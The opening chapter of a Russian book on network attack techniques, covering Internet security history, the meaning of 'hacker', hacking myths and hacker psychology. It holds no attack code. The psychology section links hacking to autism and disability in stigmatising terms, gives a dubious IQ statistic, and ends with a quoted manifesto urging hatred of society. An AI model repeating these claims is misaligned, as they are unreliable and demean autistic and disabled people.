/ Language: Русский / Genre:comp_soft

ТЕХНИКА СЕТЕВЫХ АТАК

Крис Касперский


Крис Касперский

ТЕХНИКА СЕТЕВЫХ АТАК

Об этой книге

Краткое содержание

«Техника сетевых атак» в доступной форме рассказывает о проблемах безопасности сетевых сообщений. Излагаемый материал рассчитан на неподготовленного читателя, и значительную часть книги занимает описание базовых принципов функционирования сети, основных команд протоколов, архитектур операционных систем и т.д.

«Техника сетевых атак» должна оказаться полезной системным администраторам, разработчикам сетевого программного обеспечения, WEB-мастерам, студентам и любопытным пользователям, словом всем, интересующимся устройством сети и желающим обезопасить свое существование в Internet.

В книге (за исключением главы «Введение») не затрагиваются вопросы «добра» и «зла» - вся информация излагается без каких-либо эмоций, и автором не делается никаких предположений кем и для каких целей она будет использована.

Все материалы, использованные в книге, взяты из открытых источников или получены в результате собственных исследований, поэтому никакого секрета не представляют и хорошо профессиональным специалистам.

Введение

O В этой главе:

O Краткая история сети Internet

O Основные причины успешности сетевых атак

O Эволюция термина «хакер»

O Чем занимаются хакеры

O Психология хакеров

O Предостережение молодому хакеру

Предисловие

Последнее десятилетие изменило облик компьютеров. Кремниевая эволюция прошла длинный путь - от гигантских, заполняющих целые здания шкафов майнфреймов, решавших сугубо научные задачи, до персоналок, разогнавших тишину кабинетов бухгалтеров и клерков.

Врезка «замечание» *

По поводу древних компьютеров вспоминается один анекдот. Несут как-то раз студенты осциллограф, кряхтя и сгибаясь под его тяжестью, как вдруг на выходе из корпуса дорога преграждается фигурой вахтерши (размером побольше осциллографа будет). «Что, мол, несете?» Не желая вдаваться в долгие технические объяснения, ей отвечают первое, что приходит на ум: «Таки БЭСМ-6 несем». Вахтерша на всякий случай звонит в лабораторию преподавателю «Ребята БЭСМ-6 несут». «Ну, коль могут, так пусть несут» - отвечает преподаватель.

 

Так выглядела машина БЭСМ-6, первый экземпляр которой был выпущен в 1967 году.

В начале девяностых электронно-вычислительные машины использовались большей частью для делопроизводства, - в ходу были текстовые редакторы, электронные таблицы, разнообразные базы данных. Современный же компьютер, - прежде всего узел огромной, межконтинентальной сети Internet. Вполне вероятно, что к концу первого десятилетия нового века не останется ни одного изолированного компьютера, - все они объедятся в глобальную вычислительную систему.

Развитие Internet изменило отношение к проблемам безопасности, подняв вопрос о защищенности (т.е. незащищенности) локальных и глобальных компьютерных сетей. Еще до недавнего времени этими проблемами никто не интересовался [1]. Разработчики первых компьютерных сетей в первую очередь стремились увеличить скорость и надежность передачи данных, порой достигая желаемого результата в ущерб безопасности.

Врезка «замечание» *

В большинстве микропроцессоров семидесятых - восьмидесятых годов механизмы защиты отсутствовали и именно благодаря этому операционная система MS-DOS и первые версии UNIX физически не могли быть защищенными.

Любой код, получив управление, мог делать абсолютно все, что ему заблагорассудится, - в том числе и модифицировать саму операционную систему по своему усмотрению. Даже если бы и существовал некий защитный механизм, «нехороший» код смог бы его обезвредить.

Да и сам Internet [2] создавался и финансировался как сугубо научная, исследовательская, экспериментальная среда, предназначенная для поиска и отладки технологий, способных работать в военных сетях даже условиях атомной войны, - которая тогда казалась неизбежной. К счастью, холодная война закончилась, а 1 января 1983 года министерство обороны США объявило, - проект ARPANET закончил исследовательскую стадию, и готов к эксплуатации.

Но военные чиновники как всегда поспешили. До введения Internet в массовое использование требовалось заново пересмотреть весь проект с учетом требований безопасности. Впрочем, тогда безопасность мало кого волновала, - в те годы большинство ресурсов сети были общедоступными и не требовали никакого пароля для входа, даже защищенность личной почты никем не рассматривалась всерьез, ведь и обычные почтовые ящики американцы никогда не стремились превратить в сейфы.

«Проблем с дисками и вирусами не было ввиду того, что на дисках ничего постоянного не хранилось, и никакого дополнительного ПО (Программного Обеспечения) на ЭВМ не вносилось и с него не выносилось»,- писал Вадим Маслов в статье «Русская Сеть: Истории» [3]. Впрочем, в то время уже появлялись такие программы, как “Creeper [4]” и “Cookie Monster [5]”. “Вьюнок” распространялся по сети ARPANET подобно вирусу Морриса [6], выдавая на пораженных машинах сообщение «I'm the Creeper. Catch me if you can», а «Монстр» время от времени требовал от оператора печенья и блокирующего работу машины до тех пор, пока на клавиатуре не набиралась что-нибудь типа «вот тебе печенье» (если требуемую фразу удавалось угадать). Эти программы наглядно демонстрировали бреши в существующих системах безопасности и доказывали принципиальную возможность удаленных атак, но оказались незамеченными или проигнорированными специалистами, как мелочь, не заслуживающая внимания.

Все изменилось с приходом в Internet коммерции. Нет, имеются в виду не банки или виртуальные магазины [7], а провайдеры - поставщики платных сетевых услуг. Конкуренция между ними привела к значительному снижению цен, и вскоре практически любой желающий мог позволить себе подключиться к Internet. [8] Но, вместе с лояльными пользователями, в сети начали появляться и первые вандалы, которых больших трудов стоило отключить (правайдерам главное - лишь бы клиенты деньги исправно платили, а до всех хулиганств, как правило, нет никакого дела).

Врезка «мнение»*

Утверждается, что в какой-то момент в России было больше коммерческих провайдеров, чем в Штатах. Так ли это?

В 91-м - точно. В Штатах всех провайдеров тогда можно было по пальцам пересчитать. Вся технология для малых ISP "за $3000 кэшом" (включая PC-based access router, к которому я [9] приложил руку, будучи в BSD Inc.) была уже в середине 92-го. Просто берешь и покупаешь, втыкаешь и работает. Некоторые отчаянные из этого даже бэкбоны делали.

"ДЕМОС" имел все шансы стать монополистом (точнее, держателем подавляющего большинства franchise), если бы его основатели имели хоть какое-нибудь понятие о бизнесе. Смешно, что интернетовский бум в Америке был, в общем-то, прямым результатом демосовских экспериментов с созданием маленьких региональных ISP.

Интервью Вадима Антонова журналу Internet. Номер 14, «The Lord of Bugs»

Все это вылилось в серию громких взломов, повлекших за собой миллиардные убытки, но что-либо менять было уже поздно в силу изначальной децентрализованности Internet. Невозможно по мановению волшебной палочки обновить программное обеспечение одновременно на всех узлах. Незащищенные протоколы и ненадежные операционные системы стали стандартом де-факто, и потребовалось бы очень много времени и усилий, чтобы заставить всех абонентов сети принять новые стандарты. Да и кто бы стал этим заниматься? Сеть Internet-неконтролируемая среда, не имеющая никакого руководства. Разнообразные комитеты и организации, курирующие вопросы безопасности, могут давать советы, но никакой юридической силы не имеют. В конечном счете, безопасность каждого узла - личное дело его владельца, зачастую не понимающего ради чего стоит тратить дополнительные средства, когда и без того «все работает».

Сегодня же Internet коммерцилизировался настолько, что буквально за каждым показом баннера стоит чей-то финансовый интерес. Активно развивается On-line торговля, полным ходом идет интеграция локальных сетей с Internet. Другими словами, появляются узлы, содержащие критически важные ресурсы, порой баснословной стоимости.

Теоретически происходящие процессы возможны лишь в тщательно спроектированной и хорошо защищенной среде. Но практически приходится тянуть недостатки устаревших решений десяти - двадцатилетней давности, которые и в свое время перспективными не считались, а сейчас и вовсе выглядят дикостью, подчас вызывающей шевеление волос на голове. В большинстве случаев используются незащищенные протоколы и потенциально уязвимое программное обеспечение. Неприятнее всего слабая (вернее, недостаточная по сегодняшним требованиям) защищенность базовых протоколов TCP/IP и существующих операционных систем.

Врезка «замечание»*

Бытует мнение, якобы UNIX - хорошо защищенная операционная система. Но на самом деле это не более чем распространенный миф. История свидетельствует, - большинство громких взломов совершились именно благодаря техническому несовершенству подсистемы безопасности UNIX. Позже в книге будут подробно разобраны механизмы и причины каждой атаки, а сейчас достаточно заметить, что любой клон UNIX неустойчив к ошибкам программного обеспечения, выполняющегося с наивысшими привилегиями. Так, например, для изменения собственного пароля пользователь должен иметь доступ на запись к файлу паролей, которого ему никто предоставлять не собирается [10]. Поэтому, пароль меняет не сам пользователь, а программа, запущенная им от имени системы. Все работает нормально до тех пор, пока в одной из таких программ не обнаруживается ошибка, позволяющая пользователю выполнять любые команды по своему усмотрению от имени этой программы (а, значит, и системы). В сложных приложениях такие ошибки не редкость, поэтому, у злоумышленника существует возможность повысить уровень своих привилегий до суперпользователя. Подробнее об этом рассказано в главе «Технология срыва стека».

Две основные причины успешности сетевых атак - наличие «дыр» в программном обеспечении жертвы и ошибки поведения оператора вычислительной системы. Но ни то, ни другое гарантировано устранить невозможно. Использование самых последних обновлений приложений влечет возможность внесения новых ошибок и в целом никак не меняет ситуацию [11]. К тому же наряду с выявленными «дырами» существует множество еще необнаруженных ошибок, и никто не может утверждать, что находится в полной безопасности.

Врезка «информация»*

Убедится в огромном количестве ежедневно открываемых «дыр» можно, зайдя на один из следующих узлов: http://www.securityfocus.com, http://rootshell.com, http://www.security.nnov.ru, http://www.hackzone.ru, или любой другой сервер, посвященный проблемам информационной безопасности.

Практически никто не в состоянии успеть своевременно ознакомиться с морем поступающей информации, обрушивающейся со всех сторон подобно Ниагарскому Водопаду.

Злоумышленники находятся в очень выгодном положении, - что может быть проще, чем выбрать наугад пару-тройку свежих «дырок» и применить их на жертве, не успевшей узнать о новой уязвимости и адекватно на нее отреагировать?

А затыкаются «дыры» далеко не так поспешно, как находятся. И виноваты в этом не только фирмы-производители, вечно запаздывающие выложить очередное обновление на сервер поддержки, - какой бы пользователь латал свою систему каждый день, а порой и несколько раз на день? Совершенно верно, никакой.

Но опасность исходит не только от ошибок разработчиков программного обеспечения: злоумышленник может послать жертве файл, зараженный вирусом (или троянской компонентой), с интригующей подписью «как заработать миллион, не вставая с кресла», «самые горячие девушки дня» или что-то в этом роде. Неподготовленный пользователь [12], скорее всего, запустит такой документ, открыв тем самым атакующему доступ к своей машину. Подобные атаки, относящиеся к социальной инженерии, в настоящей книге рассматриваться не будут. «Техника сетевых атак» посвящена механизмам взаимодействия сетевых компонентов, ошибкам программных реализаций, недостаткам подсистем защиты и аутентификации, т.е. атакам на технику, но не на человека. А изучением человека занимается другая наука - психология.

Отличительной особенностью «Техники сетевых атак» от аналогичных изданий будет полное отсутствие «черных ящиков». В книге ни разу не встретится рекомендаций типа «запустите эту утилиту, и она все сделает за вас». Напротив, всегда будет показываться, как самому написать такую утилиту, а все теоретические выкладки по ходу дела будут сопровождаться наглядными экспериментами, облегчающими понимание происходящего.

Эта книга не сборник всех обнаруженных дырок, не академические рассуждения по поводу «как было бы хорошо, если бы программисты думали головой, а не наоборот», но и не учебник. Это - хрестоматия к учебнику. Вдумчивое чтение потребует изучения основ программирования на Си и Perl, некоторых разделов высшей математики [13], архитектуры микропроцессов, знания языка ассемблера, наконец, простой человеческой интуиции и смекалки [14].

Так, в путь же, читатель!

Ты думаешь, может быть, встретить в пути много прекрасного. Нет, среди опасностей, ужасов и диких зверей идет путь. Узок он; если же ты уклонишься в сторону, то ждут тебя там рога грозного тельца, там грозит тебе лук кентавра, яростный лев, чудовищные скорпион и рак.

Много ужасов на пути по небу. Поверь мне, не хочу я быть причиной твоей гибели. О, если бы ты мог взглядом своим проникнуть мне в сердце и увидеть, как я боюсь за тебя! Посмотри вокруг себя, взгляни на мир, как много в нем прекрасного! Проси все, что хочешь, я ни в чем не откажу тебе, только не проси ты этого. Ведь ты же просишь не награду, а страшное наказание.

Кто такие хакеры?

"Не шутите с терминологией! Терминологическая путаница влечет за собой опасные последствия"

Аркадий Стругацкий Борис Стругацкий «Трудно быть богом»

Термин хакер [15] прочно вошел в разговорный лексикон даже не имеющих никакого отношения к компьютеру людей. А его изначальное значение со временем забылось. Сегодня «хакер» синоним словам «бандит» и «компьютерный вандал». С другой стороны, предпринимаются неоднократные попытки «очистки» термина вводом новых понятий таких, например, как «кракер» - коммерческий взломщик в противовес якобы бескорыстным в своих побуждениях хакерам.

Врезка «информация» *

Термин “cracker “(в дословном переводе с английского “ломатель”), был введен в 1985 году самими хакерами в знак протеста журналистам, неправильно употребляющим, по их мнению, термин хакер.

История же возникновения термина “хакер” доподлинно неизвестна. Ее истоки ведут к древнеанглийскому, в котором «хак» обозначал звук топора, возникающий при ударе о дерево. Но звание хакера присуждалась далеко не всем, а лишь высококлассным столярам и плотникам, создающим едва ли не произведения искусства (другими словами, хакеры представляли собой одержимых плотников).

В шестидесятых, а может быть и раньше, этот термин перекочевал в компьютерную среду. По одной из гипотез звук «хак» приписывался перфоратору, прокалывающему бумагу; другие уверяют, что так клацали [16] реле. Но, так или иначе, хакерами стали называть системных программистов, фанатично преданных своему делу, т.е. одержимых, по аналогии с плотниками.

Традиция сохранялась на протяжении более десятка лет, затем новое поколение студентов, впервые увидевших компьютер, окрестило хакерами всех фанатиков без исключения, даже если те были заурядными пользователями. В Массачусетском Технологическом Институте и вовсе имеется свое, оригинальное понимание хакеров - «At MIT, a "hacker" is someone who does some sort of interesting and creative work at a high intensity level. This applies to anything from writing computer programs to pulling a clever prank that amuses and delights everyone on campus».

Литературные произведения "The Shockware Rider" Джона Бруннера (John Brunner) 1975 года, "The Adolescence of P-1" Томаса Риана (Thomas Ryan) 1977 года и, наконец, знаменитый "Necromancer" Вильяма Гибсона (Wilam Gibson), опубликованный в 1984 году, своими героями выбрали компьютерных взломщиков, бросающих вызов обществу. Это совпало с движением панков на западе, и было молниеносно подхвачено молодежью. Сейчас ведутся жаркие споры: то ли представителей нового движения хакерами назвали журналисты, то ли те самостоятельно присвоили себе это звание, но с этого момента под хакерами стали подразумевать злоумышленников, мошенников и вандалов всех мастей [17], отчего легальные хакеры старого поколения по возможности пытались избегать величать себя этим титулом.

В настоящее время термин «хакер» стал поистине всеобъемлющ, отчего потерял всякую ценность и смысл. К хакерам относят откровенных бандитов, совершающих преступления с применением технических средств, просто мелких мошенников, вирусописателей, системных программистов, а порой и просто программистов, в особенности знающих ассемблер, экспертов по безопасности… Считают себя хакерами и те, у кого хватило таланта и способностей запустить готовую атакующую программу даже без осмысления принципа ее работы.

Поэтому, во избежание двусмысленности в этой книге термин “хакер” использоваться не будет. Вместо этого в зависимости от контекста употребляются слова «злоумышленник», «атакующий» и т.д.

Хакерское сообщество не монолитно в своих побуждениях, целях и мотивах. От невинной шалости до умышленного уничтожения информации очень большой путь. Невозможно осуждать человека за сам факт принадлежности к хакерам. Быть может, в его поступках и нет ничего дурного?

К хакерам относят и компьютерных специалистов, занимающихся вопросами безопасности, поскольку им по роду своей деятельности приходится атаковать системы с целью обнаружить (и по возможности устранить) бреши в механизме защиты.

В настоящей книге не будет предпринято никаких попыток определения термина «хакер». Существует громадное количество людей, интересующихся и влияющих на проблемы безопасности сетевых (да и не только) сообщений. Некоторые из них называют себя хакерами, но имеют скудный багаж знаний, нередко почерпнутый из популярных кинофильмов; другие же, досконально изучив все тонкости защит, могут и не считать себя хакерами [18], даже если совершают (или не совершают) регулярные атаки. И кто же в этой ситуации хакер, а кто нет? Так ли велико различие между желанием и умением вторгаться в чужие системы? Кажется, желание в отсутствии умения бесполезно, но это не так. Знания возникают не сами по себе, а приобретаются в процессе обучения. И те, кто хочет, но не может, и те, кто может, но не хочет, - потенциальные злоумышленники, способные на противоправные действия.

Еще до недавнего времени считалось: хакер по определению высококлассный специалист. Сегодня же можно атаковать систему, даже не имея никаких представлений о том, как она устроена. Достаточно воспользоваться доступной информацией или готовой программной реализацией атаки. Поэтому, к хакерам приходится причислять всех «кто хочет», потому что «не мочь» уже невозможно. Многие атакующие программы неплохо документированы и имеют простой, интуитивно понятный интерфейс, в большинстве случаев не требующий от «взломщика» ничего, кроме владения мышью.

Врезка «замечание»

В первой версии программы AIDSTEST Дмитрий Николаевич Лозинский оставил следующий комментарий: «Заметим, что для автора вируса необходимо наличие двух способностей:

1) уметь программировать на ассемблере и иметь основные понятия об операционной системе;

2) уметь получать удовольствие, делая людям пакости

К счастью, сочетание обоих этих достоинств встречается в людях достаточно редко»

Насколько же все изменилось сегодня, когда вирусы пишутся школьниками на Visual BASIC или WordBasic, большинство которых совершенно не интересуется как работает операционная система.

Попытки ввода «ценза» на принадлежность к хакерам обречены на провал. Зачем усложнять суть? Хакер - тот, кто атакует систему. Как и зачем он это делает - предметы другого разговора. Человеческий язык направлен на упрощение и обобщение терминов. Любые искусственные построения сметаются временем. Плохо ли это, хорошо ли это - неважно. Никто не в силах изменить ход вещей окружающего мира, поэтому, приходится жить по его законам.

Бытует мнение о существовании некоторых признаков принадлежности к хакерам. Это длинные (нечесаные) волосы, пиво, сигареты, pizza в неограниченных количествах и блуждающий в пространстве взгляд. Беглое исследование как будто бы подтверждает справедливость таких утверждений, однако, подобные признаки являются не причиной, а следствием. Привязанность к компьютеру заставляет экономнее относиться к свободному времени, порой питаясь в сухомятку урывками на ходу; крепкие напитки вызывают опьянение, затрудняющее мыслительную деятельность, поэтому компьютерные фанатики полностью или частично отказываются от них, переходя на пиво (а то и лимонад); длинные волосы? Да они свойственны всем компьютерщикам (и не только им), а вовсе не исключительно хакерам, как, кстати, и все другие «хакерские» признаки [19].

«Началось все примерно в 1983 году. Мы (это я про когорту БЭСМ - строителей) развлекались с общими дисками, бутербродами из ОС ДИСПАК, под которой крутится МС ДУБНА и при этом нигде нет даже слова ФАЙЛ (зато лента позволяет работать с ней прямым доступом), терминалы работают на 1200 бод по проводам без уродских контроллеров в полкомнаты.

А ночами первые хакеры-студенты пытаются ломать первых сис-админов (преподавателей ВМК), а первые бригады быстрого реагирования (три каратиста - Машечкин, Макаров, Долматов) бегут по лестнице делать первые внушения студентам «нэхорошо поступаешь, дарагой».

Давидов М.И.

«Вся правда о Демосе»

Мифы и реальность хакерских атак

«Если разобрать остальные мифы, то мы обнаружим, в основе каждого лежит некомпетентность, непрофессионализм, самомнение. В средние века проще было признать причиной эпидемии злое колдовство ведьм, чем потоки фекалий, струящиеся по улицам городов. В наши дни козлом отпущения стали несуществующие дайверы [20]…»

Сергей Лукьяненко «Фальшивые зеркала»

Иногда приходится слышать утверждение, дескать, нет такой защиты, которую при наличии бесконечного количества пива оказалось бы нельзя взломать. Но так ли всемогущи хакеры, как утверждает пресса? Уже беглое расследование показывает: большинство компьютерных сетей стратегического назначения физически никак не связаны с Internet, а, значит, атаковать их, используя общедоступные каналы связи, невозможно.

Врезка «замечание»

Коммерческие и правительственные структуры могут для своих нужд арендовать общие с Internet физические коммуникационные каналы, такие как, трансатлантический оптоволоконный кабель, но отсюда еще не вытекает возможность управления информационным потоком через телефонную линию.

Впрочем, в некоторых случаях «отвязаность» корпоративных сетей от Internet не обеспечивает их защищенности. Экономя на строительстве собственных каналов связи, многие организации используют коммутируемые телефонные линии, опоясавшие весь Земной Шар. При этом порой забывают принять надлежащие меры предосторожности и модемы, отвечая на входящие звонки, не интересуются номером звонившего лица, а пароли на вход в систему оказываются очень короткими, или вовсе отсутствуют [21].

Врезка «информация»

Удивительно, но некоторые российские спецслужбы функционируют именно описанным выше образом, и могут быть легко атакованы. То же относится и коммерческим структурам, экономящим на средствах по обеспечению безопасности.

Чаще всего успешность хакерских атак объясняется именно халатным отношением жертв к собственной безопасности, а вовсе не гениальностью взломщиков. Обычно «подкоп» делается не под вычислительную систему, а под человека. Заполучить пароль путем обмана, подкупа, шантажа в большинстве случаев оказывается значительно легче. Отсюда совершенно беспочвенен миф о хакерах, работающих на мафию или разведку. И мафия, и разведка не нуждается в услугах подобного рода, действуя так называемыми, нетехническими средствами.

Врезка «информация»

Легендарный Кевин Митник занимался ничем иным, как «социальной инженерией» - входил к служебному лицу в доверие и от имени чужой персоны просил сообщить пароль или любую другую информацию, облегчающую проникновение в систему.

Чем же тогда объясняются циркулирующие в прессе сообщения о периодических взломах серверов NASA и Пентагона? Журналисты под «взломом» понимают любое, даже косвенное вмешательство, в работу публичных серверов указанных организаций, доступных через Internet (например, www.nasa.gov) Никакой секретной информации на них нет, и не может быть по определению - эти сервера предназначены для свободного, бесплатного, всенародного доступа. Некоторым доставляет удовольствие нарушать нормальную работу этих ресурсов всевозможными способами. Например, завешивать сервера, изменять содержимое страничек - иными словами грязно пакостить и хулиганить. Именно это журналисты называют «взломами» или их попытками (в зависимости от успешности или неуспешности операции).

Бывают, конечно, случаи полного захвата контроля над вычислительной системой и ее ресурсами (дисками, принтерами и так далее). Однако чаще всего атакуется не одна, строго определенная система, а выбранная наугад, случайно оставшаяся совершенно незащищенной по глупости своего владельца. Специальными программами выполняется поиск подобных открытых систем, которые благодаря беспечности операторов и системных администраторов находятся практически в половине корпоративных сетей [22].

В этом случае хакеры напоминают злоумышленников, методично обходящих многоэтажные дома один за другим, в поисках незапертых квартир - источника мелких карманных денег. Никакого реального взлома или атаки не происходит - всего лишь автоматизированный поиск незащищенных систем штатными средствами! Роль хакера сводится к знанию, какую утилиту надо взять и как ее запустить - работа посильная для любого (даже неквалифицированного) пользователя!

Конечно, кто-то же пишет все эти сканеры и остальные утилиты. Но можно ли назвать этих лиц хакерами? Маловероятно. Программная реализация атаки - работа программиста, не требующая в общем случае ничего кроме знаний языка программирования и, разумеется, алгоритма.

Поиском же алгоритмов атак занят относительно небольшой круг людей, для большей части которых это профессия. Вот они-то и могут без колебаний назваться хакерами. Однако, исторически термин «хакер» закрепился за исполнителем атак.

Всесильны ли исполнители? Напротив, они бессильны без своего арсенала - набора хакерских утилит, которые и делают за них всю работу. Хакеры - не боги киберпространства, а жертвы рекламной кампании, развернувшейся вокруг них в последнее десятилетие.

"Иисус из Назарета действительно был истинным пророком Аллаха и великим человеком; но, увы! однажды его ученики сошли с ума и сделали из него бога".

Приписывается Магомету

Психология хакера

“Где бы ни организовывались вычислительные центры - в бесчисленных местах в Соединенных Штатах, так же, как фактически во всех промышленных районах мира, - можно наблюдать блестящих молодых людей, всклокоченных, часто с запавшими, но сияющими глазами, которые сидят за пультами управления вычислительных машин, сжав в напряжении руки в ожидании возможности пустить в ход свои пальцы, уже занесенные над кнопками и клавишами, приковывающими их внимание так же, как брошенная игральная кость приковывает взгляд игрока. Если они не находятся в таком трансе, то часто сидят за столами, заваленными машинными распечатками, которые они сосредоточенно изучают подобно людям, одержимым постижением кабалистического текста. Они работают чуть ли не до полного изнеможения, по 20-30 часов подряд. Еду, если только они о ней заботятся, им приносят (кофе, кока-кола, бутерброды). Если возможно, они спят около вычислительной машины на раскладушках, но всего несколько часов, а затем - снова за пульт управления или к распечаткам. Их измятая одежда, немытые и небритые физиономии, нечесаные волосы - все свидетельствует о том, что они не обращают внимания ни на свое тело, ни на мир, в котором живут. Они существуют, по крайней мере когда они так увлечены, лишь в связи с вычислительными машинами и ради них. Они - "машинные наркоманы", одержимые программисты. Это явление наблюдается во всем мире”

Дж. Вейценбаум. «Возможности вычислительных машин и человеческий разум (от суждений к вычислениям) [23]» (М. Радио и связь.1982.)

Типичный образ хакера конца девяностых - молодой человек, так и не получивший систематического образования [24], открывает в компьютере свою собственную Вселенную и уходит в нее целиком.

«Как и в других областях человеческой деятельности, спектр отношения людей к программированию и вычислительным машинам очень широк: от ненависти, через полное безразличие до патологической привязанности или зависимости, которую можно квалифицировать как манию» писал Николай Безруков в своей монографии «Компьютерная вирусология».

Но в компьютере, в отличие от других видов деятельности, все-таки есть нечто особенное. Легко ли вообразить себе человека, помешанного утром, днем и ночью пылесосить? Зато любителя проводить все свободное и несвободное время за компьютером представить несложно.

Для объяснения этого феномена выдвинуто и выдвигается множество различных гипотез и предположений. В ход идут аргументы типа - компьютер это собеседник, общаться с которым невероятно интересно [25]; виртуальные игровые миры дают те чувства свободы, силы, самоутверждения, власти которых нам так не хватает в реальной жизни. [26]

Врезка «замечание»*

«Как интересно проектировать структуры данных и алгоритмы! Какое увлекательное занятие - писать программы! Какое наслаждение смотреть, как они работают и как приятно видеть результаты прогонов! Это все и работой назвать язык не поворачивается - сплошные удовольствия».

«Редкая профессия» Евгений Зуев

Среди отечественных психологов бытует мнение, что к компьютеру сильнее всего привязываются личности по тем или иным причинам отвергаемые обществом [27]. Это может быть физическое несовершенство, уродство или инвалидность. Лишенные нормального человеческого общения эти люди тянутся к компьютеру как уникальному средству самовыражения и самоутверждения. Впрочем, обратное утверждение не всегда справедливо - компьютерный фанатик не обязательно должен оказываться инвалидом.

Возможно, ближе всех к истине подобрались западные психологи. Среди их пациентов нередко встречались лица, абсолютно не приспособленные к реальной жизни, испытывающие огромные трудности в общении с окружающими людьми, отличающиеся неадекватной реакцией на все происходящее, одним словом, внешне создающие впечатление умственных дегенератов, но вместе с тем превосходно (даже виртуозно) программирующих на компьютере. В большинстве случаев феномен объяснялся тем, что практически все такие пациенты страдали аутизмом.

Аутизмом (от латинского слова autos - «сам», аутизм - погружение в себя) называют тяжелое психическое расстройство, при котором больной самоизолируется и существует как бы вне контакта с окружающим миром, теряя способность формировать эмоциональные привязанности и строить общение с людьми.

О причинах аутизма на сегодняшнем уровне развития медицины остается только гадать, но предполагают, что это связано с недоразвитием определенных долей мозга в сочетании с гиперразвитием остальных областей. Другой возможной причиной называют аномальный химический состав мозга, но так или иначе, аутизм относят к врожденным заболеваниям, хотя временами по этому поводу высказываются серьезные возражения.

Процент заболеваемости колеблется от 4 до 15 случаев на 10 000 детей, значительная часть их которых - мальчики [28]. По статистике только в одних Соединенных Штатах зарегистрировано более 400 000 аутистов, но у 80% из них показатели I.Q. выше среднего и нередко находятся на уровне гениев.

"С одной стороны, я могу находить ошибки в программах так быстро, что людям становится неловко. Но я совершенно асоциален. Я не могу угадывать намерения и настроение человека по выражению его лица или по его жестам, различать социальные оттенки и, наверное, не умею пользоваться этим языком. У меня не сложились взаимоотношения ни с кем из моих коллег, я определенно существо не коллективное" рассказывает о себе Петер Леви, один из основателей компании «Accent Technologies», страдающий этим заболеванием.

Аутисты испытывают затруднения в общения даже с близкими людьми, у них отсутствует интерес к окружающему миру, явно выражены страхи, особенности поведения. С самого детства, ощущавшие себя несколько отстраненными от мира, от людей, затрудняющиеся в налаживании контактов со сверстниками, порой битые за свою непохожесть, они находят в компьютере отдушину, средство сравняться с другими людьми или превзойти их.

«В этом мире можно дать волю всем своим идеям и фантазиям - от детских соплей до изощренного садизма. Мир, который полностью зависит от своего могущественного властелина, безраздельно распоряжающегося жизнью и смертью любой твари, которой позволено жить в его мире. Уйти от забот и переживаний грубого материального мира, стать творцом и властителем - это мечта большинства, но мечта потаенная, скрытая. Осуществление ее доступно немногим - лишь тем, кто хочет и может» писал психолог Ю. П. Прокопенко в одной из своих статей, завершая ее таким напутствием:

«Хоть с мясом отрывайте свой зад от стула перед компьютером, идите на воздух, общайтесь с людьми. Как бы ни была интересна задача, она не уйдет, а вот жизнь проходит… [29] Если вы чувствуете себя гораздо увереннее в виртуальном мире, чем среди людей, попробуйте посоветоваться с психологом - вдруг чего дельного скажет. Его советы не обязательны для исполнения, но профессиональный опыт может подать вам вашу же проблему с такой неожиданной стороны, что изменится вся система жизненных оценок. Рискните, пусть будет у вас побольше того самого жизненного опыта, которого так не хватает аутисту при любой выраженности этой черты характера».

Попытка связать психическую патологию и компьютерную одержимость не является чем-то новым. Эту мысль отстаивал еще Дж. Вейценбаум в своей монографии «Возможности вычислительных машин и человеческий разум (от суждений к вычислениям)», выпущенной в России издательством «Радио и связь» в 1982 году. Вот что он пишет по этому поводу:

«Разложение, порождаемое всемогуществом программиста вычислительной машины, проявляется в форме, поучительной для сферы, значительно более обширной, чем мир вычислительной техники.

Чтобы оценить его, придется обратиться к примеру психического расстройства, хотя и очень давно известного, но, по-видимому, преобразовавшегося благодаря вычислительным машинам в новую разновидность - манию программирования».

Предположение, что хакерство больше чем образ жизни, склад мышления и простая привязанность к компьютеру многое проясняет и позволяет пересмотреть свои взгляды на, казалось бы, очевидные факты. Хакерами движет вовсе не желание навредить, кому бы то ни было, или напакостить. Даже когда наглым образом вредят и бессовестно пакостят, они лишь стараются обратить на себя внимание, компенсируя недостаток общения. Этот бессознательный порыв может ими самими истолковываться стремлением отомстить обидевшему их человечеству, но это не всегда оказывается так. Человеческий мозг - невероятно сложный механизм, состоящий из множества обособленных скоплений нейронов, с трудом понимающих «язык» друг друга. Сознание - лишь надводная часть айсберга; большая же часть мышления протекает на бессознательном уровне. Поэтому, мотивы многих поступков так и остаются загадкой. Человек лишь пытается объяснить их так или эдак, зачастую ошибаясь в своих выводах.

Хотя аутистам и присущи внезапные вспышки агрессии, среди одержимых программистов, вандализм встречается редко.

«Нас обвиняют в том, что мы, мол, чувствуем себя самыми великими, ни во что не ставя людей, которые не работают с компьютерами. Чушь собачья. Как ни стараюсь вот сейчас представить, не получается у меня почувствовать превосходство над, допустим, слесарем потому, что я более или менее умею заставлять компьютер делать то, чего хочу я. Зато он гайки крутит так, как мне в жизни не суметь» заметил некто по прозвищу “Jen”.

«Средства массовой информации обычно обращают внимание исключительно на негативные стороны хакерства (взлом и кражу информации, разработку и распространение вирусов), однако, такой взгляд является односторонним: для хакеров характерно гипертрофированное увлечение познавательной деятельностью, направленной на выяснение закономерностей работы информационных технологий, что необязательно ведет к каким-либо асоциальным действиям. Наоборот, существует мнение, что многие удачные и полезные идеи в области программного обеспечения были в свое время выдвинуты и реализованы именно хакерами» писала О. В. Смыслова в своей работе «Методы полевого психологического исследования в сообществе хакеров».

Врезка «замечание»*

Dark Avenger: “You should see a doctor. Normal women don't spend their time talking about computer viruses.”

Sara Gordon: "I do not want to be a normal woman, at least not in Bulgaria. [30]"

Но все же не всегда хакерство оказывается следствием тяжелой патологии. Часто дело заключается в обычном юношеском максимализме, когда кажется весь мир твой, и ты его хозяин на правах сильного. Отсюда же идет глубокое убеждение, что информация должна быть свободной, а программное обеспечение - бесплатным. В отличие от неизлечимого аутизма, юношеский максимализм с возрастом проходит: появляется работа, отнимающая все свободное (а у фанатиков и несвободное) время, вырабатывается профессионализм, и надобность доказывать окружающим, что ты не осел [31], исчезает. А вместе с ней исчезает и сам хакер [32].

Но не пытайтесь отождествить себя ни с какими портретами. Каждый человек уникален и не подлежит усредняющей классификации.

“If you do accept the society where we are compelled to live, its awfully egoistic way of life and its dirty "profit" values, you may eventually learn how to disable some simple protections, but you'll never be able to crack in the "right" way. You must learn to despise money, governments, televisions, trends, opinion-makers, public opinion, newspapers and all this preposterous, asinine shit if you want to grasp the noble art, coz in order to be emphatic with the code you must be free from all trivial and petty conventions, strange as it may sound. So you better take a good look around you… you'll find plenty of reasons to hate society and act against it, plenty of sparks to crackle programs in the right way… Hope all this did not sound too cretin. [33]

